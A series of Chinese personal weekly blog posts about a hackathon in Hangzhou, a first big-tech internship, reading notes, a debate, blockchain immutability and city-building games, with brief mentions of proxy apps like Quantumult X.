如果你也玩这个(国际服),快来找我联机吧。我太需要人联机了 😭。

说到游戏作为一种艺术,我必须安利 AdventureX 上看到的一个队伍做的游戏:《未见边界》。在 AdventureX 的 AI 赛道卷得出奇、各个队伍都在应用 AI 的「加速主义」浪潮之下,这个作品反其道而行之,表达了反对过度依赖 AI 的内核。这也可以算是一种对时代浪潮的反叛,很「嬉皮士精神」。最为特别的是,游戏里确实用到了 AI 大模型作为引导,有一种「打破第四面墙」的感觉!他们用三天时间就完成了整个游戏的设计,非常厉害。虽然 expo 的时候已经被他们剧透完了……感觉是个很有意思的游戏,期待上线!

✨「命理学」随想

上周参加 AdventureX,听了一位队友离奇的身世。她说她对命理学有一些研究,因为无法想象有怎样的「命」才会经历她这一切。

我想起小时候我妈在一个十分神秘的大师那里算过我们的命。其中结果包含我们未来的财富。(具体结果此处不透露了)不过后来想想,我对此是有一些逻辑上的质疑的。光从「财富」这一点上,就有很奇怪的地方。

如何定义一个人的「财富」呢?其实所有资产都能看作「债券」:人民币是国家担保的债券;存在银行里的钱是银行担保的债券;支付宝、微信支付余额是阿里、腾讯担保的债券;各种理财产品,则可以看作风险更大一些的债券;更神奇的是加密货币是无人担保,仅依靠共识而有价值的债券……这一切债券风险等级是从高到低的,是各自不同的。假设资产 $x$ 的风险为 $f(x)$,那么,当定义一个人的财富的时候,究竟哪些属于「财富」呢?如果要量化财富,则要取一个阈值 $k$,对于 $f(x) < k$ 的资产计入财富;而这一阈值显然是无法天然地确定的。

所以,如果这个世界有 API,你会发现无法查询一个人拥有的财富,因为根本没法准确定义一个人拥有的财富。

本质上,财富是人类社会中定义的,并且没有形成共识。任何人类社会之外的东西,即使是超自然力量,无法使用共识的定义,自然无法表达这一概念。任何人类社会中定义的参数,比如事业、爱情,都是如此。

不过,「命理学」是有存在的空间的,因为现实世界里就有太多科学无法解释的事物。诸如意识、存在、意义这类老生常谈的话题,科学目前都无法解释;这也是哲学和宗教存在的空间。

📚 本周在读:《蛤蟆先生去看心理医生》

关于心理咨询的一本很好的入门书籍。非常推荐给想要接受心理咨询,但是对「心理咨询」没有概念的朋友阅读。

很有意思的是,这本书的人物等设定都延续儿童小说《柳林风声》,相当于《柳林风声》的续集。这种写法很有意思!对于一些艺术作品中成功塑造的人物,我们往往对其有非常具体的认识。以他们为背景,就比引入新的人物更加让人熟悉和亲近。

(不过这样的设定也带来了一些奇怪的问题,比如书中蛤蟆先生提到,他的侄子(应该是小蛤蟆)居然有宠物狗……)

之前看过的另一本关于心理咨询的书籍是《也许,你该找个人聊聊》,作者作为一名心理咨询师讲述了她遇到的各种各样的求助者,同时也讲述了作者自己由于失恋也去接受心理咨询的经历。从这两本书里,我们能够了解到一个观念:接受心理咨询,和去医院看病,逻辑是不同的。

接受心理咨询,本质上是在咨询师的引导下,找到自己一直在逃避的事情,「和自己和解」。最后的这一步,只能自己迈出。

⚙️ Quantumult X 入门

本周购买了 Quantumult X。这是一个 iOS + macOS 跨平台的代理软件。

一直以来,iPhone 上使用的都是 Shadowrocket,而 MacBook 上则是直接使用 v2ray 内核。Shadowrocket 的 UI 很丑,稳定性有时候也不好。最主要的是,无法跨端同步,我在电脑上精心配制的分流规则无法直接在手机上应用。同时维护两个平台也太麻烦了。

之前搭建 Tailscale 的时候进行过整合的尝试,希望构建 all-in-one 的「个人网络基础设施」。但是最终未果。现在我在杭州,住处的网络环境暂时没有条件再搭建 VPN 了。

Quantumult X 作为一个跨平台的工具,很好地解决了上述问题。

💬 Quotes

所见高山远木,阔云流风;
所幸岁月盈余,了无拘束。

—— Arthals

你犯的错不会比 Microsoft 和 Crowdstrike 更严重。

🎵 青年友谊圆舞曲

蓝色的天空像大海一样
广阔的大路上尘土飞扬
穿森林过海洋来自各方
千万个青年人欢聚一堂
拉起手唱起歌跳起舞来
让我们唱一支友谊之歌

欢乐的歌声在回旋荡漾
歌颂着我们的幸福时光
亲爱的朋友啊心连着心
我们有共同的美好理想
拉起手唱起歌跳起舞来
让我们唱一支和平之歌

白鸽在天空中展翅飞翔
青春的花朵在心中开放
年轻的朋友们团结起来
为和平为友谊献出力量
拉起手唱起歌跳起舞来
让我们唱一支团结之歌

下周见。

Weekly #9:AdventureX —— 热爱为主,搞钱为辅

总有人心里有火炬,而且彼此能看见。

—— 麦卡锡《长路》

本周在杭州参加了 AdventureX,这是第一个面向中国年轻人的黑客松。我觉得这是我参加过的最有意思、最有意义也最酷的活动。不仅认识了很多新朋友,也了解到了很多新东西,甚至彻底改变了我的一些观念。

🌆 封面图:湖畔的日出

封面图:湖畔的日出

这次比赛的五天里,看了两次日出。

第一次是周三早上。前一天晚上我们熬夜讨论(和聊天),甚至凌晨的时候离开会场去散步,不知不觉到了凌晨四点。骑车回酒店休息的时候,正好碰上了日出,看到了天一点一点亮起来。

第二次是周五早上。这天上午 8:30 是项目提交 DDL,所以前一天晚上我们完全没有睡觉。四点半的时候,距离日出还有不到一小时,我们临时决定:打车去西湖看日出!

人在半夜的时候总会有那种白天不会产生的、很疯狂的想法。😁

🔥 热爱为主,搞钱为辅

第一天展会的合作方 Spark Lab 准备了一个大展示牌,是个关于大家在做的项目的坐标轴,横轴是「热爱」,纵轴是「赚钱」。大家可以根据自己的 MBTI 选择一个颜色的贴纸,然后将贴纸贴在自己的项目对应的坐标轴位置。

最后的结果让我印象深刻,是这样的:

热爱为主,搞钱为辅

我觉得,一句话概括就是:热爱为主,搞钱为辅。大家在做自己项目的时候,大多是以发自内心的热爱为主导。这样的热爱,在大学里很少见,在大厂里也很难见到。这很酷

我真的感受到了参加这次比赛的体验,和平常在大厂打工的体验,有多么不同。一个最直观的感受就是:在大厂干了一天活,到晚饭时间就非常累了,每天晚上回来都是什么都不想做的状态;早上起床,也经常是充满了怨气地来到工位。似乎每天都很累。而在这里,虽然中间三天都没怎么睡觉,却一点也不犯困,每天都很兴奋。或许这就是创造带来的兴奋感。

归根结底,大厂必然是压制员工的创新的。作为一个大型的多人协作组织,大厂需要的是对决策的服从,而非质疑。作为个人而言,在这一过程中自己的创新显然被压制了,从而难以获得价值感和意义感。真正能够展现自己创意的工作,或许只能在小团队中产生,比如这次黑客松。

🤝 我其实并不这么社恐

参加比赛之前,以为我会很社恐。甚至开幕式之前的那个中午,即将出发前往会场的时候,真的有一种强烈的恐惧感。

然而到了会场,不管是第一天的开幕式、展会,还是之后的比赛、expo,我发现自己并没有这么社恐。因为能够感觉到,大家都是普通人,大家也有和我一样面对陌生人的感觉(几个社牛除外)。但是想到大家心中都怀揣着一样的激情和热爱,相互了解也并不再是如此难的事情。

特别是,和有意思的人认识和交流,反而是一件非常快乐的事情。我们对许多事情都深有同感,能够找到共鸣;我也能听到他们对许多事情的想法和看法,接触不一样的世界观,引发许多思考。这一过程真的非常神奇。

现在我理解了《乔布斯传》里所说的乔布斯「喜欢和人一起散步」。我真正地感受到,观点会在碰撞中产生。与他人的交流之中,不同思维的碰撞往往能产生各种各样的想法,这些想法是一个人平时想不到的。

🌟 时代中的青春力量

所有的火,都是火

高中的时候看到过这样一句话:

总有人心里有火炬,而且彼此能看见。

—— 麦卡锡《长路》

参加这次活动的时候,有感而发。我认为这次活动是对这句话最好的见证。

之前 Weekly #4 阅读与人生自我设计中提到,要认清时代的主潮。我觉得当今时代最根本的主潮之一就是:经济下行。由此,年轻人的内卷也好,躺平也好,迷茫焦虑也好,卷绩点、考研、考公考编风气的盛行也好,都是这一主潮的外在表征。

而在这次比赛里我感受到的却是一种截然相反的风气:大家都充满激情和热爱,有着各种想法以及将它们变为现实的驱动力。将这样一群年轻人聚在一起,就将这种热情无限地聚集和放大,迸发出属于青年和青春的力量。这一切反而与时代的风气格格不入。这是对时代风气的反叛,也是对「嬉皮士精神」最好的诠释。

他们发明。

他们想象。

他们治愈。

他们探索。

他们创造。

💬 最后要说的话

开放中,可以来聊~

非常感谢主办方和合作方。主办方是一群高中生。他们的种种努力,无论是陪我们熬的夜,对 LGBT 群体的尊重,还是超酷的伍德斯托克音乐节,都被我们看在眼里。正是他们独属于少年的理想主义,让这场活动更酷。

我还要感谢队友 Kronight薇龙Seimo。或许是由于我们队早就确定了「友谊第一,比赛第二」的总方针,我们队内有特别融洽的氛围。也要感谢其他我遇见的伙伴们。我永远会记得和这群人凌晨三四点一起熬的夜、逛的马路、看的日出、吃的海底捞。

或许如薇龙所说,这一切都是命中注定的缘分。✨

明年希望能再见。

Weekly #8:知识分子应该是什么样子?

哪见过我俩这样的爱人、恋人、情人啊?相识相爱将近五年了--千六百多个日日夜夜,居然连一次面也不曾见过!情人节之际,竟然连几朵鲜花、一束玫瑰也不能彼此馈赠,更别说想象之中和期盼已久的相拥相吻!其是令人感慨,悲哀!其没想到,交通和通信如此发达的今天,我们仍像古人般艰难地「红叶题诗」,「鱼传尺柰」;像牛郎织女般「盈盈一水间,脉脉不得语」——何况,牛郎织女每年「七夕」尚能「打鼓吹萧银汉过,并肩携手鹊桥游」啊!

——《第二次握手》

又是一周!

已经很难记录一周的事情了。感觉现在这个 Weekly 存在的意义,更多是锻炼自己的写作和表达能力。毕竟平时写作的机会也很少。

🌆 封面图:城市里的夕阳

封面图:城市里的夕阳

📚 《第二次握手》:知识分子应该是什么样子?

《第二次握手》是一部传奇的长篇小说,在文革时期曾经以手抄本的形式流行全国,曾被官方认定为禁书,作者也差点引来杀身之祸,直到文革结束。本周在读这本书,非常喜欢!

这本书展现的知识分子的生活,令我深深地震撼。19 岁的男主苏冠兰,在齐鲁大学学习化学,坐在火车上的他居然在读德文原版的《拓扑学概论》!

从字里行间也能看出作者的知识面之广。这本书涉及到大量物理、化学、生物学、艺术、历史、文学的知识,夹杂在小说情节中。比如,说到男主苏冠兰的名字,作者介绍起各种叫“兰”的植物在植物学上的科属分类;描写男主的心境,则通过名画《无名女郎》和《第九个浪头》侧面表现;女主对爱情的渴望,则凝聚在独舞《婚礼》和各种古典乐;对曼哈顿工程的描述也十分具体,居然以科普的态度给我们介绍了原子弹的各种原理……

「琼姐,」只有苏冠兰不以为然,蹙起眉头,「你如此聪明,为什么要学艺术,学舞蹈呢?」

丁洁琼表情惶惑,不吱声。

「什么意思?」凌云竹打量苏冠兰。

「文学,艺术,以及诸如此类的东西,」苏冠兰倒是干脆利落,「对国家的强盛和民族的复兴,没有作用。」

「什么才对国家的强盛和民族的复兴有作用?」

「科学、技术和工业。」

凌云竹凝视苏冠兰。

「文学艺术是什么?」苏冠兰口气不屑,「『朱门沉沉按歌舞,厩马肥死弓断弦』,『商女不知亡国恨,隔江犹唱后庭花』,『借问汉宫谁得似?可怜飞燕倚新妆』,『忍把浮名,换了浅斟低唱』……」

「你知道《满江红》吗?」凌云竹摆摆手。

「知道呀……」

「那你就应该懂得,世间固然有『浅斟低唱』,但也有『壮怀激烈』;固然有人不知忘国恨,但也有人『驾长车踏破破贺兰山缺』!」

苏冠兰一时无言以对。

在如今这个信息发达的时代,如果要查询这么复杂的资料尚且不容易,更无法想象作者是在那样的年代成书的!

书中展现的是那个时代的知识分子群像。他们不仅满怀爱国之情,也怀揣着对知识殿堂的敬仰,对爱情的忠贞不渝,对艺术、生活一切领域的热情和热爱。

反观现代,「知识分子」作为一个政治术语逐渐被减少使用,而真正的「知识分子」也越来越少了。经济社会的发展带来的专业分工是必然,而大多数人则顺应了这样的专业分工。

我觉得「知识分子」应该是能读更多书,探索更广阔的世界。毕竟,「君子不器」。

📚 本周重读:《人类群星闪耀时》

自我介绍的时候想着安利两本书,翻了翻读过的书的列表,选出了我特别喜欢的两本书:《献给阿尔吉侬的花束》和这本《人类群星闪耀时》。顺便重新读了一下这本书。

《人类群星闪耀时》是「十四篇历史特写」,是一些人类历史上的重要关头,从中真的能够感觉到人类文明的伟大光辉。读的时候往往有一种「颅内高潮」的感觉!

没有哪位艺术家能全天二十四小时创作艺术。那些显赫不朽的艺术杰作往往诞生于艺术家们灵感乍现的难得瞬间。历史亦是如此。

我最喜欢的两篇,一篇是《越洋的第一句话》,一篇是《西塞罗》。

《越洋的第一句话》讲述的是赛勒斯·韦斯特·菲尔德第一次尝试将电缆跨过大西洋,将整个人类连接在一起的故事。他经历了三次失败,最终完成了这一伟大的事业。

要想成就一个奇迹或一项伟业,一个重要的前提条件永远不可或缺:对这一奇迹深信不疑的人。执着者的天真和勇气,往往能富有创造性地促进学者们迟迟不决的计划。

这一刻,他决定倾尽一切身家献身于这项事业中。决定性的火焰就此点燃。一个念头在事实上爆发出爆炸性的力量。一种全新的、奇迹般的电力和强烈而活跃的生命元素——人的意志,紧紧地结合在一起。一个人获得了毕生的使命,而这一使命,也找到了去实现它的人。

从这一刻起,整个地球跳动着同一颗心脏。

《西塞罗》讲述的是罗马伟大的思想家西塞罗,梦想在自己的国家建立民主的制度,然而在自己生命的晚期,遭遇了罗马政变,统治者深感他的思想中蕴含的危险力量,将其残忍杀害。

在这篇的末尾,统治者雇佣的杀手杀害了西塞罗后,将他的头颅砍下,挂在他平日的演讲台上。于是:

然而,在这个演讲台上,任何反对残暴、反对强权、反对践踏法律的演说家的控诉,都比不上这颗沉默的被谋杀者的头颅,对永远不义的暴力的控诉更为意义深远:惊恐的民众拥堵在被亵渎的讲台周围,沮丧、羞愧,瑟缩到一侧。没有人敢于驳斥——这就是独裁!然而他们的心却在压抑地抽搐,在被钉在十字架上的共和国的这一悲惨画面前,战栗地垂下眼帘。

🤔 如果你有超能力,可以让你爱的人也爱你,你要不要使用这项超能力?

这是本周看的一场辩论赛:2019 年华语辩坛老友赛第二场 —— 如果你有超能力,可以让你爱的人也爱你,你要不要使用这项超能力?【RUC-Bang VS 萌新下山】

一直觉得作为观众,看辩论赛重要的不是观点,而是双方的讨论引发我们的思考。

本场选手提出了一个「爱上」的定义,很有意思。正方认为是近似随机的参数组合使人产生爱情这种感觉,对某个人怦然心动。这是人无法自主选择的。或许面对一个非常优秀的 TA,我却无论如何都没有感觉;或许对于偶然闯入生活的 TA,虽然不符合之前对于理想型的所有预设,我却无可救药地爱上了。或许之前和 TA 作为普通朋友交往多年,某一天阳光正好,TA 的微笑让我怦然心动。一切的一切都有太多的随机因素。这种随机性,一般称为缘分

在东方和西方的传说中,爱情由糊涂的月下老人和调皮的爱神丘比特决定。正是由于「爱上」这一过程的随机性,传说中塑造的人物形象总是近乎随机作出决策。爱上的感觉不是人的主观意识决定的,而是随机发生的(可以等效为第三方随机决定的),所以说:

爱是自由意志的沉沦。

反方也提出了一些比较有意思的观点,比如爱的珍贵和美好正是源于稀缺性,求之不得,才会寤寐思服。

不过整体看下来,我对这场辩论赛的观赏性是有些失望的。感觉这也是近年的辩论赛普遍的样子:双方选手都拼命地在争定义,着重于逻辑,而对「语言的艺术」不那么重视了。作为观众需要使劲 follow 双方的逻辑,能 follow 上就不错了,很少能产生「拍案叫绝」的感觉。

我心目中体现语言艺术的辩论,最经典的就是这场:【辩论】辩论史上最经典的战役——2001国际大专辩论赛决赛 钱是/不是万恶之源。这场简直百看不厌,特别是自由辩环节,非常精彩。没有复杂难懂的逻辑,只有纯粹的唇枪舌战。其实从逻辑上来说,双方只要争「万恶之源」中「万」一字的定义就好了,然而这样就会很没意思。双方对决的时候不仅争了逻辑,对对方的所有例子都能给出反驳,一些对战真是令人拍案叫绝,极具观赏性。

🧑‍💻 大厂实习初体验(二)

在公司里工作,和自己创造产品,感觉是完全不一样的。

在大厂实习并没有我想象的快乐。以前写代码的时候,觉得创造的过程是很快乐的,技术的结构是很美的,但是在大厂却完全没有这样的感受。每天只是做一个又一个的需求。对于写的代码,我并没有「在创造自己的东西」的感觉,因为产品本来就不是我的。只是这些代码被拿去换成了工资。

在每天的忙碌中,很难找到意义感。

退一万步说,即使有大厂的股票,我也不会觉得大厂或者其产品有我的一部分。因为没有决策权。大厂里就是有太多不合理的东西,我们无力改变。

下周见。

Weekly #7:大厂实习初体验

医药、法律、商业、工程,都是高贵的理想和维生的条件。但是,诗、美、浪漫、爱,才是我们生存的原因。

——《死亡诗社》

🌆 封面图:杭州!

我 ❤️ 杭州

🧑‍💻 大厂实习初体验

本周是在某大厂实习的第一周。这也是我的第一份实习。

实习地点是该厂位于杭州的全球总部,今年新开放的园区,硬件条件真的很不错。整体的建筑设计,包括空间、灯光、窗户之类的各种设计,都给人很舒服的感觉。园区内有大量绿化,除了篮球场、健身房等设施以外,甚至还有个田径场。这个园区希望营造的「校园感」,从硬件设施上来说确实达到了。其中的办公楼,就很像某些大学设计独特的图书馆。

第一次在真正的大厂里工作,接触到了很多我之前不知道的东西。比如,工作的网络环境完全在企业内网中,不管是代码平台还是各种项目管理、行政、文档平台,一切都部署在内网中,不仅 npm 仓库有镜像,甚至 npm 工具本身都有集团专属的 fork 版本。GPT4o 等工具也有集团内网提供的平台可以免费使用。虽然可以申请合法的国际信道,但是我发现工作中几乎用不到境外网路访问,除了偶尔用一下 Google。我们要使用的许多开源库,也有集团内的 fork 版放在内网代码平台。在这里,就像在一个密闭的空间里工作,很少用到外部互联网的资源。(在以前,写任何前端项目的时候,离开 GitHub 和 Stack Overflow 都是无法想象的……)

该厂的 MacBook 普及率高到了我以前无法想象的地步。入职前申请设备的时候我猜想,以 MacBook 的市场占有率来看,选择 MacBook 的人数占比应该不会超过一半,大多数应该还是选择 Windows PC 吧……结果第一次开会的时候,看见所有人使用的都是 MacBook,没有一台其他品牌的笔记本。这着实震惊了我……(我也领到了全新的 M3 Pro 的 MacBook Pro,嘿嘿)

工作,和我之前想象的一样,确实有些累。每天坐在电脑前,高度专注,到了晚饭时间都非常累了,真不知道同事们是怎么如此有精力加班的。一下子从上学期末每天自由快乐学习阅读的生活,转变到现在这样的生活,一时有些过渡不过来。或许还是需要缓慢地去适应。

在步入社会之前,我们所处的所有组织机构,从幼儿园到小学、中学、大学,存在的目的都是为了我们,学校都是为了「培养学生」这一目的而存在的。而公司企业,则是我们第一个真正接触的,目的不是为了我们的地方:客户和经济效益才是它们的目的。想起来高中班主任有一次说道:「你们现在在上学,生病了还有人嘘寒问暖,我们上班的生病缺勤一次,全勤奖就没啦!」确实,离开了学校,没有任何社会机构为我们存在、为我们负责了。虽然还未遭遇真正的危机和挫折,但是离开象牙塔的这种感觉已经让我有所感触。

在一个新环境里,也忍不住幻想自己的未来。还是很喜欢该厂招聘网页的那句 slogan:

一起打开有意思的未来!

我不是来混一口饭吃的。我真的很希望做一些有意思的事情,遇到有意思的人,开启有意思的未来。希望有这样的地方,能满足我的愿望。

🏙️ 去(回)杭州随想

杭州是我的「第二故乡」。高中的我在这里度过了三年多的时光。我觉得这次我来到杭州,用上期标题里的「去(回)杭州」来描述很贴切。既是回到曾经的城市,也是奔赴新的生活。

上期提到了,回到杭州,我惊讶于杭州居然新开通了这么多条地铁线路。三年前,还没有杭州西站,还没有 19 号线,每次开学从杭州东站到达杭州,都要坐公交车去学校。现在,19 号线连通杭州东站、杭州西站、萧山国际机场,还经过我们中学附近的文三路站,可以在沈塘桥站换乘 2 号线。而沈塘桥站的商业街也不见了,变成了一个很大、很空旷的换乘站。

周末回到文三路,去逛了曾经生活过的地方。许多地方还在,许多地方不见了。全家 FamilyMart 不开了,打印店变成了社区服务中心,酒店变成了写字楼……三年时光如弹指一挥间,令人感慨。

这次回杭州,还有一个直观的感受:(和长沙相比)杭州的物价真高!周末在屋子里点外卖,发现一餐居然基本都要三十多元,和肯德基麦当劳的日常价差不多了。大多数的商家处于这样一种情况:价格正好处于让我心痛的价格。如果价格更低一点,我下单的时候就不会心痛了;如果价格更高一点,我就不会想吃,不会下单也不会心痛了;而它们正处于这个尴尬的价格:既没有高到让我不想吃,又没有低到让我不犹豫。所以,在杭州点外卖,总是很心痛的。😭

虽然都说杭州是「美食荒漠」,但是我其实特别喜欢杭州的几家连锁餐饮品牌:外婆家、绿茶、炉鱼、新白鹿、老娘舅等等。但是,它们的价格似乎都处于上述的「心痛价」……

实习一周的感受:

  1. 上班好累 😭 感觉身体被掏空
  2. 杭州物价好高 😭 感觉钱包被掏空

网友锐评精选:

杭州赚钱杭州花,一分别想带回家。

以及科普一个新发现的冷知识:「杭州学军中学」这个名字究竟是哪里来的?高中的时候就一直很好奇。现在查了 Wikipedia 才知道,文革期间的 1966 年 5 月 7 日,毛泽东发出《五七指示》,其中提到:「军队应该是一个大学校……这个大学校,学政治,学军事,学文化……学生也是这样,以学为主,兼学别样,即不但学文,也要学工、学农、学军,也要批判资产阶级。学制要缩短,教育要革命……」为了响应这个指示,杭州现在的文一路、文二路、文三路,当时分别改名为「学工路」、「学农路」、「学军路」。处于学军路(文三路)的当时的杭州大学附属中学,即更名为杭州学军中学。改革开放后,文一路、文二路、文三路的路名改了回来,而学军中学的校名却延续至今。

🛠️ 关于高考「技术」这门学科

众所不周知,浙江的新高考,除了语文、数学、英语、物理、化学、生物、政治、历史、地理这九门传统的学科以外,还有一门浙江独有的学科,叫做「技术」。选考是七选三,我当年选的就是物理、化学、技术。

这门学科其实分为通用技术(General Technology,GT)和信息技术(Information Technology,IT)两门,每一门各占 50 分,合计 100 分。

我们当时信息技术的考点包括:Word 字处理、Excel 表处理、Access 数据库、Flash 动画制作,GoldWave 音频处理,以及 Visual Basic 编程(我们下一届改为了 Python)和一些简单的算法与数据结构。

通用技术的考点包括:金属、木材加工工艺、焊接、画草图和三视图、控制论常识等。

在高中学习这些,可以说是遥遥领先了。进入大学发现许多东西在高中「技术」课上都学过了,比如小学期实训的焊接、数据库课程的各种概念。如果学的是机械或者土木一类的专业,通用技术学的金工木工和草图、三视图一定也能派上用场。

仔细想想,高中学的其他所有学科,基本都是「科学」。数学、物理、化学、生物、地理这类自然科学不必说,即使政治、历史这两门也是社会科学(只是高考基本靠背诵,没有体现什么科学方法)。所谓科学,就是探究这个世界的运行原理。

「科学技术」两个概念,这些学科都只涉及前者。为什么很少涉及技术呢?我认为一个很重要的原因是:技术更新迭代的速度太快。例如信息技术这门学科:关于 Flash 的这些教材才刚刚普及开没几年,就被彻底淘汰了……

之所以「技术」尤其是信息技术这门课只特供于浙江省,我觉得或许和「共同富裕示范区」有关。以前我们一直自嘲衢州是「浙江的西藏」,是全省经济最弱后的地方;然而,从小到大,即使在外婆家的乡下,我也没见到特别贫困的生活。反而经济的高速发展给我们家带来了机会。然而,上了大学,将眼界放大至全国,我才真正认识到原来居然中国居然有这么穷的地方,人们连用上电脑都很困难,更别提将信息技术纳入高考了。所以,生在浙江,我真的很幸运。

📝 希望把 Weekly 坚持下去!

我不希望生活只是无意识流过的时间。我希望自己每天的生活在时间里留下印记。这是思考为什么要写 Weekly 的时候,我现在脑海里蹦出的第一个想法。

各种新奇的想法和思考,都是在闲暇生活中产生的。一个过于忙碌的人,每天被按部就班的事项排满,是很难迸发灵感、发挥创造力的。我不希望自己过上每天「感觉身体被掏空」的生活,除了工作就是视频娱乐的生活,一个月只有发薪日感觉快乐的生活。我不希望被「卷入」工作。我也希望追求生活里其他值得追求的东西。

每周写的 Weekly 可以作为见证。

下周见。

Weekly #6:出发,去(回)杭州!

When we first dropped our bags on apartment floors
Took our broken hearts put them in a drawer
Everybody here was someone else before
And you can want who you want
Boys and boys and girls and girls

Welcome to New York
It’s been waiting for you
Welcome to New York, welcome to New York

—— Taylor Swift《Welcome to New York》

本周忙着搬家,忙着入职,忙着忙着,本期 Weekly 又晚了两天发 T_T……

关于入职也有很多值得记录的感受,还是留给下一期吧。

🌆 封面图:在飞机上

封面图:在飞机上

本来订好了火车票的,出发前一天突然决定想要坐飞机。反正能报销,就改为飞机票了。

很喜欢乘坐飞机的感受。能够感觉到民航产业中蕴含的人类工业文明的力量,俯瞰大自然的时候也能感觉到一种独特的美感。

✈️ 出发,去(回)杭州!

《光遇》同款的云海!

在飞机上能够看到《光遇》同款的云海!

在平流层看机翼上的阳光,会发现一个与常识不符合的现象:由于云彩遮挡形成的光斑,变化频率很快,让我们下意识以为是由于飞机其他部件反光引起的。地面上距离云很远,且下层的云更加聚集,导致地面上产生的阴影有变化缓慢的特点。而在飞机飞行的高度,上方云层稀薄且更近,加上飞机运动速度快,导致形成的阴影变化速度快。

其实我们之所以产生错觉,是因为我们的一切生活经历都是建立在地面上的,我们并没有任何云层之上的生活经验,特别是对于不常坐飞机的我来说。

落地杭州!第一次以《都市天际线》的视角看杭州呢。

落地杭州!第一次以《都市天际线》的视角看杭州呢。

杭州地铁居然已经有这么多条线了……

三年不见,杭州居然已经有这么多地铁了。(这个地铁图好像就不是《天际线》能规划出来的了 💦)

新开通的 19 号线,连通了萧山机场、杭州东站、杭州西站,还有一段在地上的路程。还有连通到周边城市的城际地铁。太酷了!

新的生活!

新的生活!

来到一个新的环境,有一切令人兴奋的事情。留给未来的日子慢慢体验吧~

下周再见~

Weekly #5:夏天的晚霞

也许有更好的时代,但这个时代是我们的。

🌆 封面图 :夏天的晚霞

封面图:夏天的晚霞

夏天总是会有很好看的晚霞。

⛓️ 区块链的不可篡改特性

人类历史上所有记录信息的方式,都有这样的特点:随着时间的推移,记录的信息变得逐渐模糊。

区块链打破了这一规则,并且正好相反:随着时间的推移,曾经记录信息的区块被越来越多的后续区块确认,即推翻这个区块也越来越难。在链上每追加一个区块,都是对之前所有区块的一次确认,自然而然地「维护」了之前的信息。

(当然,以上的讨论仅限于全球互联网仍然存在的前提。如果互联网不在了,或者分裂为多个不连通的区域,或者如果没有电力了,甚至如果人类文明都不在了,或许还是用《三体》中提到的「把字刻在石头上」这类方式保存信息最靠谱)

比特币等加密货币,只是上述特性的一个很小的应用:将交易记录这一信息永远放在链上。

以合同签署为例。其实,现代纸质合同并不可靠。无论是手写签字还是盖章,都无法避免合同伪造:1)某一方可以伪造合同的签字或盖章,然后宣称对方和自己签署了这个合同;2)某一方也可以不承认曾经签字或盖章,否认自己签署了某个合同。综合这两点,如果在法庭上产生「一方拿出合同,一方否认合同」的纠纷,究竟是拿出合同的这一方伪造了合同,还是否认合同的这一方单方面不承认合同?法庭是无法判断的(如果没有其他信息的话)。不难发现,虽然《合同法》尝试构建一个客观的合约系统,但是事实上很难做到这一点。

而区块链技术让真正严格、客观的合同签署成为了可能。以太坊的「智能合约」即是应用方式之一。

真正推动人类文明进步的技术创新,就是将历史上不可能的事情变成可能。

之前考虑将博客同步到 xLog,这是一个基于区块链的博客平台。所有博客文章、评论、互动等都发布在链上。仔细想想,这有点可怕:如果一篇文章被我发布到区块链上,将永远无法将其删除!如果现在博客里有些以后看来不合时宜的话呢?如果未来要经历背景调查、政治审查或者其他事件,需要删除曾经发过的内容呢?

对数据的掌控权,也包括对数据进行删除的权利。传统的 Web,发布的文章随时都能删除,删除后就无法被访问。即使是不经过我们同意就备份网页的 Web Archive,也可以给他们发邮件请求删除页面。当然,任何人都能备份博客内容,但至少这种备份是主动的行为。而在区块链上发布的内容,只要这条链还有人在使用,则内容将永生永世无法被删除,永远轻易地被访问。细思恐极!

开发者 DIYgod 也在V2EX 提到了存在的问题:

链上操作都是透明和不可撤销的,这导致用户无法真正删除一篇文章,通过区块链历史可以看到文章的修改记录。

📑 如果能回到大一大二……

直到大三,我决定且确定不读研了,才开始探索自我,真正感觉到大学生活应该这样度过。

大三之前,我还是希望保研的。要争保研就得卷成绩,太痛苦了,太卷了。每节课的考勤、每个小组作业或者 pre、每个实验作业,都要计入成绩。换句话说,如果要争取保研,一切的目标就是成绩,成绩以外的一切因素都和大学生活无关了。特别是 HNU 取消了论文、竞赛保研的背景下。大学不应该是这样的。

仔细想想,成绩排名真的这么合理吗?考试成绩和能力水平显然不是线性关系,80 分要求我们对课程知识有完善的掌握,而 90 分或者 95 分甚至更高,则要求进行大量的刷题,对所有题型做到滚瓜烂熟。在 80 分以上有非常明显的边际效应,需要投入大量的时间,也就是所谓的「卷」。要筛选足够水平的人,以 80 分为门槛完全够了;而就是因为保研名额有限(即教育资源不足),才硬要按照排名选前几名的同学。结果,选出的是实际水平差不多,但刷了更多题的同学。这种排名制度岂不是完完全全在培养「做题家」吗?

(当然,公不公平、合不合理也是相对的。任何一种制度,其既得利益者往往倾向于认为其是公平的,而利益受损的人则倾向于认为其不公平。只要参加过辩论赛,就能有这样的体会:有的真理不是越辩越明的)

现在大三已经接近尾声,我觉得有点后悔。如果我早一点决定不读研,也不至于大一大二花这么多时间卷成绩。为了争取保研,我们都身不由己。

如果能回到大一大二,我一定要少花点时间卷成绩,花更多时间学习、阅读、参加社交活动,听更多讲座,探索更多世界。大学四年时光太宝贵,应该花在更有意义的事情上才对。不过「如果」这样的假设并没有意义,毕竟当时没有不读研的决心;我能做的只有珍惜剩下的不到一年在校时光。

🌆 Cities Skylines II

《都市天际线 2》这个游戏真的非常令人上瘾。本周周末重新玩了一会,结果一不小心又玩到了凌晨 😇。

为什么这个游戏有如此魔力?我觉得主要在于其快速反馈的特性。本质上,设计一个城市,和做开发写程序、画电路板、写一篇文章的过程是一样的,都是创造的过程。区别在于,反馈周期和反馈强度不同。写程序的反馈只是程序成功跑起来了,或许只是一行简单的提示,即使是前端也是若干 UI 而已;而在 Cities Skylines 里设计一个城市,立即会有市民入住,车水马龙,一辆辆车和一个个行人,都是真实存在在这个小小的虚拟世界里活动着的物体。我们能看到这是一种快速的反馈,给人成就感。

这个游戏让我看到了新的世界。

比如一个城市的交通总体设计,我以前从来没有留意过。道路是有分级的,从高速公路、城市快速路到主干道路、二级道路、小巷等。城市环线就是一种很好的城市快速路的方式。越高级的道路,车速越快,路口应该越少。为什么要有小区、园区的概念?从道路设计的角度来说,目的之一是防止在主干道上产生过多的路口。有了这些实际的体验,当我来到一个新的城市,在看地图的时候我能够对城市的结构有更加系统性的了解。

